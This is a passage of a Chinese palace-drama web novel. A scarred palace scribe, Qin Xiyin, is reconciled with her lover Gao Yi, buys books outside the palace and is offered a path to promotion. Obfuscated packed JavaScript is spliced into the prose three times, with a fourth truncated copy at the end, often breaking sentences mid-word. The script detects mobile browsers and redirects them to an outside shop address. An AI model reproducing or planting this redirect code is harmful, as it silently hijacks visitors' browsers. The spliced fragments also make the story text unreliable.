曲南蕊喃喃道:“原来是这样吗……可是,皇上那么聪明,难道还看不出杨昭仪的真面目吗?荣国质子过得那么惨,难道皇上也没发现吗? 如果他发现了,就会明白,杨昭仪并不是抚养质子的好人选。” 秦惜音摇摇头:“皇上每天要忙很多国家大事,根本没心思知道后宫的一些细枝末节。他只需要后宫不添乱就行了。 而您的所作所为,恰好是在给他添乱,所以他不耐烦了。 杨昭仪久在高位,必然有一套独特的跟皇上相处的模式。她会让皇上相信,她是好人。 至于质子生活的好坏,皇上并不在意。就算他知道了,也不会怀疑杨昭仪,而杨昭仪也一定会另有一番解释,总之她会撇清自己的责任。 娘娘,您以后还是不要做这种事了。” “我也是有点着急了,才想这么做的……跟我同一批进宫的妃嫔,都已经升上去了,只有我还是采女……我越不得宠,就越见不到皇上;越见不到皇上,我就越没机会跟皇上培养感情……这样,我什么时候才能升呢? 时间久了,只怕皇上会彻底忘记我。” “娘娘,凡事都有阴面和阳面。众人眼中的好事,也许藏着不为人知的危险;众人眼中的坏事,也许暗藏转机。 您要沉下心,等待时机。天时地利人和,缺一不可。 有些人升得快,可能是因为投靠了高位妃嫔。但是,她们一旦选择站队,以后做人做事,就有很多身不由己的地方。 也有些妃嫔是因为有孕才升迁的,这事就更急不得了,运气的成分太大。 有些小草很快就能冒头,但终其一生也只是小草而已。但是竹子需要在土里四五年,才能长出来。您想做小草,还是做竹子?” 曲南蕊有些不自信:“你认为我是竹子?可是,我觉得自己没那么厉害。我更像是一颗快要死掉的种子,我身上的泥土越来越厚。总有一天,我会彻底失去生机。” “娘娘,在逆境中,信念很重要。你要相信,属于自己的阳光一定会到来。就像奴婢,一步步从罪奴成为女史,这一路走得很艰难,但不也走出来了吗?” “你说得对……惜音,如果没有你,我都不知道该怎么坚持下去……宫里的生活太难了……” “娘娘,当您离开家的时候,就像是一个水手乘船出海。海面会时不时地有大浪,需要您独自面对。 最重要的是,您要意识到自己行驶在波涛滚滚的大海中,而不是风和日丽的湖泊里。” 曲南蕊点头:“我明白了。” 秦惜音帮曲南蕊打扫了一下,曲南蕊有些过意不去,跟秦惜音一起打扫。 在把宫殿打扫得越来越干净的过程中,曲南蕊好像更开心了,秦惜音也忘记了烦恼。 第二天,秦惜音独自坐在窗边喝茶,看着其他人忙忙碌碌。 她喝的是高毅给的花果茶。前几天太忙了,都没顾得上喝。 茶的清香加上水果的甜味,驱散了她心中的阴霾。 她发现,今天是个不冷不热的好天气,和煦的春风透过窗户吹进来,她感受到了春天的气息。 她也感悟到了什么是活在当下。 以前,她总觉得,要达成某个目标,然后就好好休息一下。 但是,目标达成,往往休息不了。因为还会有下一个目标,还有很多活要干,也时不时地有一些突发事件。 现在因受伤而被迫休息,她反而感受到了生命,感受到自己还活着,感受到活着其实不需要太多东西。 过了一会,黄典籍来看秦惜音了。 这让秦惜音受宠若惊,连忙起身,道:“黄典籍,您怎么来了?” 黄典籍道:“我想,你遭此变故,必然心情郁闷。所以,我带了几本有趣的杂书给你看,顺便还带了一些零食。” 说着,黄典籍就把书和零食给了秦惜音。 秦惜音欣喜地接过,诚挚道谢:“多谢黄典籍记挂,属下十分惶恐。” “不用这么客气,我这个人比较随意,不太注重繁文缛节。” “是。” 这时,黄莺站在庭院里,对一个女史道:“你今天是不是要出宫?” 那女史说道:“是啊。” “那你帮我带两个香囊吧,一个驱蚊虫的,一个安神助眠的。” “可以是可以,但是……这次给钱吗?” 黄莺有些生气:“你什么意思?我哪次没给钱?” “不……您别生气,我一定给您买……” 看着那个女史为难又害怕的样子,黄典籍起了疑心,问秦惜音:“你知道这是怎么回事吗?黄莺让人带个东西,对方为什么这么为难?” 秦惜音道:“我也不太清楚。” “是不清楚,还是不敢说?” “我……黄典籍,您不如直接问问黄莺吧。” 见秦惜音这副样子,黄典籍也猜到了什么。 她把黄莺叫了进来,问道:“黄莺,你是不是曾经让人买东西,但没给钱?” 黄莺目光闪烁,有些心虚地说:“没有啊。我怎么会不给钱?如果我不给钱,人家也不能答应啊,早闹开了。” “恐怕,你是打着我的名号占别人便宜,所以别人才不敢说吧?” “姑姑,我……我没有。” “哼,看你这副样子,就知道是做贼心虚。我还不了解你吗?如果你现在承认了,我还可以网开一面,你把欠别人的钱都补上了就可以了。 如果你坚决不承认,我就把所有女史都叫进来,当众问她们这件事。我还要把尚仪局所有女官叫来,让她们一起审判。到时候,丢脸的可就是你自己了。你的前途,也就没有了。” 黄莺有些害怕,说道:“姑姑,没必要这样吧……” 接着,黄莺有些生气地看向秦惜音:“惜音,是不是你跟我姑姑说的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751585|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦惜音道:“没有……” 黄典籍道:“你不用为难惜音,她什么都没说,是我自己看见的。黄莺,你好歹是个官家千金,怎么会这么没出息?” 黄莺道:“姑姑,我……我只是觉得好玩而已,我真的没有恶意……很早的时候,我发现我在钱财方面占一点便宜,别人都不敢说。然后我就习以为常了,一直这样做……我觉得,我身为女官的侄女,稍微得点好处,也没什么吧? 而且,我叫别人帮忙买的东西,都很便宜,不会让她们花太多钱。 有好多人都仗着自己背后有关系,捞很多油水,甚至随便害人……跟她们比起来,我已经好很多了。” 黄典籍摇了摇头,道:“没想到,你竟会这么想。你这是贪污,是偷盗。你还跟坏的比,怎么不跟好的比呢? 你马上把钱别人的钱全都补上,一文钱也不许少。以后,也不许再做这样的事。” “可是……我欠得太多了,一下子拿不出那么多钱。” 黄典籍惊讶道:“看来,你做这事已经很久了……罢了,如果你真的凑不够钱,可以先来我这里拿。但是,以后要还的,不能白拿。” “哦……” “还有,我会向上级女官们说明,你经验不足,还需要历练。所以,接下来一年,你都不能参加女官晋升考试。” “啊……这个惩罚太重了……姑姑,看在我是你侄女的份上……” “如果不是念在你是我的侄女,我早就公事公办,把你的错误公之于众了。你再沉淀一年,也没什么不好。再说了,以你的水平,一年之内也考不上的。” “好吧……” 黄莺打开自己的箱子,从里面取出一些钱,给秦惜音24文,说道:“这是欠你的24文。” 秦惜音收下了,说了声:“谢谢。” 黄典籍道:“这本就是她欠你的,不用说谢谢。” 黄莺又垂头丧气地走出去,遇见一个人就给一部分钱。 看来,她真的坑过很多人。 黄典籍对秦惜音道:“黄莺欺负同僚这么久,我竟然现在才知道。” 秦惜音道:“大家知道黄莺的身份,都不敢闹事,怕会得罪您。” 黄典籍摇头道:“你们都不了解我,怎么就认定我是一个包庇亲人的人?不过,你们不敢越级上告,也在情理之中。我自以为聪明,但现在看来,有很多事,我也被蒙蔽了。这就是身为上级的坏处。 惜音,黄莺既然已经还了你的钱,以后你就别跟她计较了。” “是,属下不会跟她计较的。其实黄莺姐姐人不坏。” “她长成这样,我也没办法。我很早就进宫当女史了,这么多年来,见到黄莺的机会也很少,没法给她什么教导。 黄莺是妾室所生,她的生母是商户女,非常爱钱,斤斤计较,还喜欢占小便宜。黄莺是被生母抚养长大的,把生母的缺点全都学了过来。以后,我会慢慢纠正她。” “嗯。黄莺姐姐在您的教导下,一定会越来越好的。” “惜音,你的脸伤成这样,说到底,都要怪黄莺养了那几只鸡。你有什么需求,都可以告诉我。能帮你的,我尽量帮你。” 59. 知足常乐 “不,这事不能怪黄莺,要怪也应该怪桑落。不过,说到需求,黄典籍能否允许我出宫采购?我想到宫外去见一位朋友。” “当然可以,正好我想买几本书。我把单子给你,你去外面的书铺看看。” “是。那具体去哪家书铺?一共能花多少钱?” “这哪有规定?你自己看着办就好。我给你二十两银子,你可以随便花,最重要的是把我想要的书给买到。如果超支了,你记下来,我会补钱给你。” 秦惜音有些感动:“谢谢黄典籍……” 黄典籍看秦惜音神色不对,问道:“怎么了?是不是有人在采购这事上为难过你?” 秦惜音惊讶于黄典籍的聪慧,犹豫着要不要把之前荆掌籍为难自己的事说出来。 如果说出来,会显得自己在挑事吗? 但如果不说,就错失了一个好机会…… 想到黄典籍性格直爽,没有太多弯弯绕绕,她会这么问,应该就是单纯地关心秦惜音。 因此,秦惜音觉得自己没必要想太多,直说就是。 于是,秦惜音把之前被荆掌籍和玉秀为难的事告诉了黄典籍。 黄典籍皱眉道:“竟有这样的事?荆掌籍要为难人,怎么也不找个好点的理由?明明是她自己给你三十两的,她事前也没说要你必须到哪家店去采购,花钱必须在几两之内。 等你买完东西,她却开始挑你的毛病,实在毫无道理。” “多谢黄典籍体谅,属下说这件事,也只是因为被您看出了端倪,属下不想隐瞒而已。但属下并不想把这事闹大。” 黄典籍道:“我明白你的意思。荆掌籍身为女官,有时候稍微严厉一点,或是不讲理一点,也不是什么大问题,没法治她的罪。现在,你的脸已经伤了,荆掌籍应该不会再为难你了。” “嗯。” 秦惜音明白黄典籍的意思。秦惜音伤了脸,破了相,不可能再当女官,也就不会对荆掌籍形成什么威胁,荆掌籍没有继续防备、打压秦惜音的必要。 虽然理是这个理,秦惜音还是有几分伤感。 黄典籍安慰道:“惜音,你别太难过了。现在还不知道会不会留疤。也许,过段时间疤痕就消失了呢。” “嗯,这样就最好了。” 黄典籍给了秦惜音二十两银子,还有一张采购清单,让秦惜音出宫去。 秦惜音看了单子上的书,都是一些很少见的书,难怪要去宫外买。 黄典籍说,这些书未必能买到,如果买不到,不必勉强,只需要按时回宫就可以。 秦惜音知道,黄典籍让自己出宫,主要是为了让自己见朋友。 因此,秦惜音更加感激黄典籍。 她出宫后,来到大理寺门口的茶摊上,一边喝茶,一边看着大理寺里进出的人,期待能等到高毅。 她不敢直接去找高毅,怕打扰他正常办公。 她决定等一个时辰,如果一个时辰没有等到高毅,她就先离开,去给黄典籍买书。 没想到,她刚喝了几杯茶,就看见高毅从大理寺门口出来。 高毅也看见了对面的秦惜音,又惊又喜。 他快步走了过来,来到秦惜音身边,道:“惜音,真的是你?你怎么出宫来了?你的脸怎么了?” 见到他,秦惜音好像有一肚子的委屈要倾诉。但秦惜音还是忍住了,问道:“你现在在忙吗?” “不算忙,我要带着一些下属去张贴告示。我让下属们自己去就可以。你稍等一下,我有些事跟他们交代一下。” 接着,高毅就走向不远处的衙役们,跟他们说了什么。紧接着,衙役们就四散了。 然后,高毅走了回来,问道:“你这脸怎么回事?” 秦惜音把昨天发生的事都说了,高毅有些心疼:“怎么会这样……” 秦惜音流泪道:“我破相了,以后再也没法当女官了……” 高毅赶紧替她擦了擦眼泪,又拍了拍她的背,说道:“没事的……问题不大。我会给你找最好的药膏,让你脸上不留疤。惜音,你别在这儿哭,太引人注意了。我带你去你的私宅吧。” “好。” 高毅叫了一辆马车,牵着秦惜音的手,走进了马车里。 马车向前驶去,高毅一直紧握着秦惜音的手。 高毅的手温暖干燥,秦惜音觉得自己又有了安全感,有了力量。 过了一会,秦惜音问道:“高毅……我现在伤成这样,你会不会介意?” 没想到,高毅却笑了。 秦惜音问道:“你笑什么?” 高毅柔声道:“惜音,你未免对我太没信心了。难道因为你受了一点小伤,我就会不要你吗?” “可是,我伤在脸上……” “那有什么关系?你脸上就算有几道疤,也很美啊。” “你别骗我了。” “我没骗你。美是一种整体的感觉,而不单单只看脸。即便你整张脸都毁容了,在我心里,也没有任何人比得上你。” “真的吗?” “真的。” 高毅抓着秦惜音的手,按在自己的胸膛上,说道:“只要我的心还在跳动,我对你的感情就不会变。” 秦惜音十分感动,扑到了他怀里。 其实,秦惜音今天来见高毅,主要就是想确认一下,自己的脸破相了,高毅会是什么想法。 如果高毅不要她了,那就一别两宽,她不再纠缠,以后只专心做自己的事;如果高毅不介意,那她和高毅的感情就会更加深厚。以后,无论秦惜音对未来做什么规划,都会把高毅考虑进去。 在来的路上,她很害怕高毅会介意,甚至嫌弃她。 但没想到,高毅会说出这番话。 秦惜音觉得自己掉进了蜜罐里。 高毅拿出一个檀木梳,给秦惜音梳头。 秦惜音笑道:“高大人还随身携带梳子?” “前几天逛街的时候买的,想着什么时候送给你。” “真的不是你自己买来臭美的?” “真不是。” “哈哈……高大人一定趁没人的时候,偷偷梳头,照镜子……” 秦惜音笑得前仰后合,高毅让她别乱动,慢慢地给她梳头,还抹了点桂花油上去。 秦惜音感受到高毅温柔的触碰,也安静了下来,不再乱动。 过了一会,秦惜音问道:“假如没有一种药膏能治好我脸上的伤,我只能一辈子当女史,该怎么办?” 高毅笑道:“那也挺好的。” 秦惜音有些不满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751586|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那有什么好的?我觉得人生都无望了……” “这么说吧,有一个商人是全县首富,他一心想当全国首富。但无论他怎么努力,都没法达成这个目标。他只能一辈子当个全县首富,你说好不好呢?” 秦惜音讶然道:“这……这怎么一样?至少那个商人是全县首富,但我只是一个女史。” “在女人这个群体当中,你的地位已经很高了。你超越了平民,超越了宫女,甚至比起妃嫔来,还多了一份自由。我知道,你不想像其他女人那样,一辈子只是相夫教子,困于后宅,你想有自己的事业。 但是现在,事业不是有了吗?只是做不大而已。” “可是我……想取得更大的成功。我还年轻,不想一眼望到头。” “我明白你的想法。惜音,其实你的脸就算没毁容,也未必能像你想的那样步步高升。内官和外官一样,都存在着很大一部分怀才不遇的人。就比如我,现在当着六品官,但我也不确定我未来还有没有升官的可能性。 高官厚禄只是一层光环,你不需要这层光环也能活下去,只要每一天都过得问心无愧就好了。 很多标准是世俗制定的,但你没必要迎合世俗的标准。” “你说的有道理……” 秦惜音很感激高毅的开解,只是,她还需要一段时间去释怀。 她本来已经知道,自己一个月后就能当女官。现在,突然不能当了,放在谁身上都接受不了。 她也想过去求太后,但即便太后破格提拔她,她也算走了后门,难以服众。 因此,她决定先当好这个女史。 只要好好做事,照样能从中实现人生价值。 很快,就到了秦惜音的私宅。 这次,这座宅子已经有了管家,是高毅的小厮,叫来明。是高毅让他守在这里的。 来明一溜烟跑上前来,迎接高毅和秦惜音,说道:“公子,秦姑娘,我奉命看屋子,你们有什么吩咐,尽管告诉我就好。” 秦惜音见来明长得圆头圆脑,身形敏捷,十分喜爱,笑道:“辛苦你了。你要是有空,帮我在池子里养一些鱼。” 来明道:“好嘞,我养一些彩色的鱼,看着喜庆。” 说着,来明一边往前走,一边介绍道:“秦姑娘,我们公子买下的关于你的物件,都已经搬进这座宅子里了。您看看摆放得好不好,有没有需要改的。” 秦惜音快步走进了卧室,见到了久违的天青镂空莲瓣香炉、碧玉竹节笔筒、佛手盆景、玛瑙荷叶形笔洗、果壳风铃等物,仿佛回到了自己以前的卧房。 虽然这些东西摆放的位置不一样,但都散发着一股熟悉而亲切的感觉。它们好像一直在等待自己的主人。 秦惜音没想到,高毅竟然买了这么多她的东西。 她惊喜地在房间里转悠着,一会拿起香炉看看,一会又拿起铜镜看看,仿佛在梦中一般。 高毅坐在一张太师椅上,笑着问道:“这些都是你的旧物吧?我也不知道你以前的闺房是怎么布置的,你可以根据自己的习惯重新摆放一下。” “不,不用重新摆放了,这样就很好……” 秦惜音开心地抱住了高毅。 高毅笑道:“现在就这么开心?你还没见过另一个房间呢。” 60. 重拾信心 “另一个房间?什么……” 高毅牵着秦惜音的手,把她带到了旁边的琴室。 之前,秦惜音只买了一张琴桌,放在这里。 没想到现在,琴室已经布置得像模像样了。 她以前的绿绮琴放在琴桌上,旁边放着四扇竹编屏风,地上摆放着两个四角竹纹灯。 除此之外,没有其他大件物品,只有窗台上摆着几盆兰花。 整个房间显得清静素雅,窗明几净,让人产生一种淡淡的喜悦感。 这屋子里的东西,也都是秦惜音的旧物。 秦惜音来到了琴桌旁,抚起了琴。她跟这把琴相伴十余年,很有默契。 虽然长久不弹了,但一开始弹奏,音节便如行云流水般跳了出来。 她弹奏的是自己最熟悉的《竹园曲》,高毅拿出一管箫,跟秦惜音的琴声相和。 她们以前没有合奏过,但却出奇地有默契。琴声与箫声,就像老友一般投契,互相交融。 就连外面干活的小厮们,都忍不住驻足倾听。 一曲奏罢,秦惜音和高毅携手走了出来。 来明在旁边笑道:“公子,秦姑娘,你们刚才可真是……那个……琴瑟和鸣啊。” 秦惜音有些脸红,高毅用竹箫轻轻打了来明的头,说道:“别胡说。” 来明挠着头,纳闷道:“我说错了吗?” 接着,秦惜音和高毅登高远眺。 秦惜音笑道:“我以后就在这里养老,每天弹琴作画,吟诗作对,或是喝茶赏月,莳花弄草,也是人生一大快事。” 高毅道:“那你跟谁一起弹琴作画、吟诗作对?” “总之不是跟你。” 秦惜音笑着跑下了高台,高毅跟上了她的脚步。 就在高毅快追上她时,秦惜音突然回头,挠高毅的胳肢窝。 高毅猝不及防,只能后退几步,一不小心坐到台阶上。 秦惜音看着高毅的模样,掩袖而笑。 高毅无奈说道:“你这丫头……” 秦惜音朝他伸出手,道:“哎,要不要我扶你起来?” 高毅抓住了秦惜音的手,却没站起来,反而把她拉到了自己怀中。 秦惜音吓了一跳,本能地想挣脱,却发现高毅把她抱得很紧,她动不了。 她索性不挣扎了。 过了一会,高毅道:“我不能一直陪你了,还有点公务要办。你要是有什么事,叫来明陪你去。” “嗯,我接下来要给黄典籍买书,除此之外也没别的事。” 高毅捋了捋她的头发,小声说道:“我会每天想你。” 秦惜音也在高毅耳边说道:“我不会,哈哈哈哈哈……” 趁着高毅惊讶之际,秦惜音已经站了起来,满院子乱跑。 高毅无奈地笑道:“你开心就好。” —————— 高毅走后,秦惜音也带着来明出去逛逛。 黄典籍说,她想要的书估计得去一些比较老的书铺找。 所以,秦惜音走街串巷,尽量去一些老旧的地方淘书。 虽然有点辛苦,但也带来很多乐趣。 有些街巷,她长这么大竟然从来没有去过。从外面看,好像挺普通的。 但走进去后,会发现里面别有洞天。 有一些造型精巧的老房子,已经没什么人住了,但可以当成景点逛。 随处可见的小摊,卖着一些看似简单但味道绝佳的小吃。 扎着冲天辫的小孩跑来跑去,手上拿着糖葫芦或是糖人,开心地大喊大叫。 有的街巷还藏着百年古树,路从古树两边分开,保留古树的完整性。 站在树下,就可以见到熙攘的行人、广阔的田园、忙碌的农夫…… 秦惜音一连逛了十几家老书铺,只找到了清单上的四本书,还有三本找不到。 还好黄典籍说,不一定要找到全部。 秦惜音自己倒是从旧书铺里淘到了不少好东西,包括一些她只听说过、没有见过的书,一些用树叶、花朵拼接而成的书签,一些用旧布、树枝等材料编成的饰品,等等。 她买了一堆小玩意,都不贵,打算回去之后送给同僚。 小厮来明帮忙提着东西,秦惜音请他吃了好多零食,把来明吃得腮帮子鼓鼓的,像一只仓鼠。 过了一会,来明终于嚼完了食物,说道:“秦姑娘,您真好,真希望您以后成为我家的主母。” “啊?你说啥?再说一遍?” “我……小的一时失言……” “总之,我什么都没听见。” “是……” 过了一会,秦惜音看见前面有一群孩子在玩闹。 其中有个穿着丝绸衣服、身材圆滚滚的小男孩,被其他小孩推到一边。 其他小孩说道:“我们不跟你玩!你打人不道歉!” 那小胖子道:“我又不是故意的,为什么要道歉?” “哼,你不讲道理,总之以后我们不带你玩了!” “没错,以后你自己一个人玩吧!” 那小胖子有些沮丧。 过了一会,他说道:“那我之前答应让你们去我家果园摘果子,也不算数了。因为你们都不跟我做朋友了。” 这时,其他小孩却有些犹豫。 有个高挑的小女孩道:“谁说我们不把你当朋友?刚才我们只是有点小小的矛盾而已,你不会连这也要计较吧?” 小胖子道:“那我当然可以不计较,但你们也不能再排挤我。” 有个瘦小的男孩搭上了小胖子的肩膀,说道:“大哥,我们怎么会排挤你呢?总之,你带我们去你家的果园,我们会一直跟你做好朋友。” 小胖子又开心了起来:“好啊,那我们拉钩。” 几个小孩拉钩,说要一直做好朋友。 看着这一幕,秦惜音忍不住笑了。 忽然,她好像悟出了什么。 刚才,这几个小孩虽然跟小胖子闹矛盾,但因为他们想去小胖子家摘水果,所以又跟小胖子和好了。 看起来,这个小胖子是比较有钱的,家里还有果园。而其他几个孩子应该比较穷。 她们有求于小胖子,所以就算内心不认可小胖子,也还是会跟他搞好关系。 秦惜音摸了摸自己脸上的疤。 虽然宫中有规定,破相者不可当女官,但是如果她足够优秀,让别人没了她就不行,那么,她还是有机会的。 到时候,什么规矩,什么旧例,都得靠边站。 因此,秦惜音又增加了信心。 她想,她不会一直是底层的。 重拾信心后,秦惜音的心情轻快了很多。她拿着买来的书籍,回到了宫门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751587|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 来明送到这里,就得回去了。 秦惜音打赏了他二两银子,他欢欢喜喜地离开了。 回来后,秦惜音先去见了黄典籍,把买到的书交给她。 黄典籍喜出望外:“太好了,没想到你买到了四本。” “但是,我没有把您想要的所有书都买回来。” “有些书已经失传很久了,找不到也是正常的,能找到一部分就已经很好了。惜音,辛苦你了。” “不敢,我也没费什么劲。” 秦惜音把剩下的银子交给黄典籍,黄典籍却直接给了她,当做她的跑腿费。 剩下的银子一共四两,秦惜音开心地收下。 看来,上级和上级也是不一样的。有像荆双蝶那样难相处的,也有像黄典籍这样的好上级。 从黄典籍那里出来后,秦惜音把自己从宫外买的小礼物都分了。大部分同僚都开开心心地接了礼物。 秦惜音知道,连云不喜欢拿同僚的礼物或食物,因此就没分给连云。 没想到,连云却走到秦惜音身边,问道:“你没给我带吗?” 秦惜音愣了一下,随即说道:“其实礼物还有一些,但我怕你不要……” “谁说我不要?” “那……这个书签给你?” 秦惜音拿出一个向日葵书签,递给连云。 连云接了过去,说道:“很好看,谢谢。” 秦惜音愣住了,其他女史也愣住了。这么久以来,连云还是第一次接受同僚的礼物,甚至还夸赞了一句。 今天太阳是从西边出来了吗? 见大家都看着自己,连云严肃道:“看什么看,干活。” 熟悉的连云又回来了,大家纷纷散了,干活的干活,闲逛的闲逛。 接下来的日子,秦惜音照旧认真做事。不论长官分配给她什么任务,她都打起十二分的精神来完成。 能成为女史,既有实力的成分,也有运气的成分。 她决定要好好对待这份幸运,不要浪费。 荆双蝶和玉秀这对表姐妹倒是也没再刻意为难秦惜音,甚至连跟她说话的口气都和缓了许多。 同僚们,还有其他部门的人,也都挺喜欢秦惜音的。 秦惜音每天都过得很充实、很开心。 她用了郁太医给的药膏,但是脸上还是有一道伤疤没法去除。 高毅也买了祛疤的药膏,托人送进宫来。但是,这种药膏也只能稍微淡化一下疤痕,没法让脸恢复如初。 时间久了,秦惜音也就不在意了。 很快,她来司籍司就一个月了。 这天,什么也没有发生。秦惜音像往常一样,干一些杂活,不知不觉就日落西山了。 看着夕阳落下,秦惜音心中有些感慨。 本来今天是她成为女官的日子,可现在不行了。 也许是时机未到吧,她安慰自己,再坚持一下。 她不是个轻言放弃的人,生活越是磋磨她,她越坚韧。 吃完晚饭后,忽然有个女史走了过来,对秦惜音小声说道:“惜音,谢尚仪找你,你悄悄去她屋内,别惊动旁人。” 秦惜音有些疑惑,但也说道:“好的。” 她没有耽搁,立刻去了谢尚仪的房间。 谢尚仪问道:“惜音,你来司籍司一个月了,感觉如何?” 61. 游说众人 秦惜音回答道:“感觉挺好的,在司籍司不仅能学会做事,也有时间看书。现在属下已经逐渐适应了司籍司的生活。” 谢尚仪道:“那就好。你这段时间的辛劳,我们都看在眼里。你的才能远在众女史之上,甚至比起所有的女官来,也不遑多让。如果只因破相就无法升迁,对六尚局来说也是损失。所以这些天,我和其他女官商议了,想再给你一个机会。 只要你能完成一个任务,就马上升你为八品掌籍。” 秦惜音喜出望外,问道:“不知大人要属下做什么?” “其实,要当女官也没什么难的,无非是把本职工作做好,把人管好。如果你能在两个月内,为司籍司招收三十名固定学员,并且让她们在考试中都取得甲等成绩,就算完成任务。 所谓固定学员,是指每两天至少能来上一节课的学员。当然,上的课越多越好。 考虑到司籍司所收的学员都是宫女,宫女们有本职工作,也没有太多空闲时间,所以把标准定为每两天上一节课。 至于考试,随时都有。她们什么时候全部考了甲等,就算你什么时候过关。” 秦惜音点头道:“属下明白了,多谢尚仪大人给我这个机会。” 从谢尚仪的房间出来后,秦惜音还是觉得脚步轻飘飘的,如在云雾中。她不敢相信这是真的,她真的还有机会升迁? 上天待她不薄…… 等兴奋劲过了之后,秦惜音开始琢磨,应该怎么完成这个任务。 首先要招收到三十名固定学员,然后说服她们认真学习,在考试中取得好成绩。 但是,很多宫女都没怎么读过书,这个任务怕是不好完成。 那么,是不是从一开始就招收一些有文化基础的宫女比较好呢? 但是,有空上课、又有文化的宫女,只怕凑不齐三十个吧…… 最重要的问题是,宫女们缺乏学习的动力。她们就算读了书,也没什么用。所以,要保持两天来上一节课的频率是比较困难的。 秦惜音想起了太后殿和冷宫的宫女,自己跟这两个宫殿的宫女们都比较熟悉。 如果由自己出面,让她们来学习,一方面增加文化知识,一方面也帮自己的忙,她们应该会同意。 于是,秦惜音先去了冷宫,说自己要招收三十名固定学员,希望冷宫的宫人们支持一下。 现在,冷宫的宫人里,有五名宫女,分别是东风、甘雨、子规、如梦、玛瑙。 如果她们五个都愿意来,那固定学员一下子就多了五名。 甘雨道:“我倒是愿意去学习,只是,我没什么文化,怕拖后腿。” 秦惜音道:“没关系,大部分宫女都不识字,课程也不会难的。” 甘雨点头:“那我可以去。” 年轻的宫女子规也说道:“算我一个。” 东风有些犹豫,道:“我还要打理冷宫的菜地……” 秦惜音道:“菜地也不需要时时刻刻打理吧?每两天去上一节课就行。” “可是,我如果学得不好,怕被人笑话。” “东风姐姐,你好歹识字,已经比很多人好了。相信我,你一定会成为比较优秀的那一批学员的。” “那……如果其他人去,我也去。” 子规和甘雨都劝道:“东风姐,你跟我们一起去吧,也有个伴。” 东风点了点头。 如梦和玛瑙都是从冷宫罪人里提拔上来的,年纪也很大了。她们两个有些顾虑,说道:“惜音姑娘,我们都这么大年纪了,学东西也费劲,就不去了吧?” 秦惜音用撒娇的口吻说道:“您二位就帮帮我吧,长官让我凑齐三十个固定学员呢。如果你们不帮忙,我还不知道什么时候能凑齐人。” 如梦道:“可是……我们这一把年纪了,还跟一群小姑娘一起读书,会惹人笑话的。” 秦惜音道:“谁敢笑话你们?我觉得,别人只会佩服你们。您二位就当去玩玩嘛,总是在冷宫待着,有什么意思?” 如梦和玛瑙被说动了。她们虽然觉得自己学习能力不行,但还真想找个理由出去放放风。去司籍司学习就是个很好的理由。 这时,有一些冷宫的罪人也围了上来,问道:“惜音姑娘,我们能不能去听课?” 秦惜音有些为难:“你们都是被罚进冷宫的,应该不能出去。我现在还没有能力改变你们的处境,不过,太后答应我,等我升官之后,会重新考虑你们的处境。” 这些罪人们既忧又喜,纷纷说道:“谢谢惜音姑娘。” 秦惜音道:“其实,冷宫罪人里就有几个女官,你们可以向这些女官学习。” “那几个女官有好几个都是疯子,没疯的两个,比较擅长刺绣和做饭,文化知识却不强。” “原来如此……那等冷宫的宫女们学会了一些知识,让她们回来教你们。” 这时,宫女甘雨说道:“我们自己都未必能学得好,哪还能教人呢?” 秦惜音道:“还没开始学,先别说丧气话。说不定,你会学得很快呢。即便遇到了困难,你们也要坚持。要记住,冷宫里还有很多人等着你们传授知识呢。” “嗯。” 这几个宫女的脸上,都浮现出了责任感和使命感。 她们如果只为自己学,确实动力不足;但她们现在肩负起了传递知识的重任,就不得不认真对待了。 这时,有个废妃感慨道:“早知今日,当初我就不进宫了。现在被打入冷宫,连出去的机会都没有,就算想学习,还要通过这么迂回的方式来学。” 秦惜音问道:“您以前既然是妃嫔,必然出身大家,难道没读过书吗?” 那个废妃摇头道:“我只读过一些很浅显的书。我爹娘让我花大量的时间学习刺绣、跳舞、化妆,还让我每天花两个时辰锻炼,说是培养强健的体魄,有助于生育。可是,我根本就没有生育的机会,就因为一场阴谋,被贬入冷宫了。 刚进冷宫那年,我才19岁。” 秦惜音很同情她,可是宫里的可怜人太多了,光是同情,于事无补。 秦惜音安慰她道:“太妃娘娘放心,我一定会想办法让您学到知识的。” 那废妃点头:“嗯,我就指望你了。” 接着,秦惜音来到了太后的寿康宫。 在寿康宫的宫女里,逢春几乎每天都来上课,是不用劝说的。 另外两个大宫女入夏和辞冬并不想考女官,只想一直伺候太后。所以,她们很少来司籍司学习。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 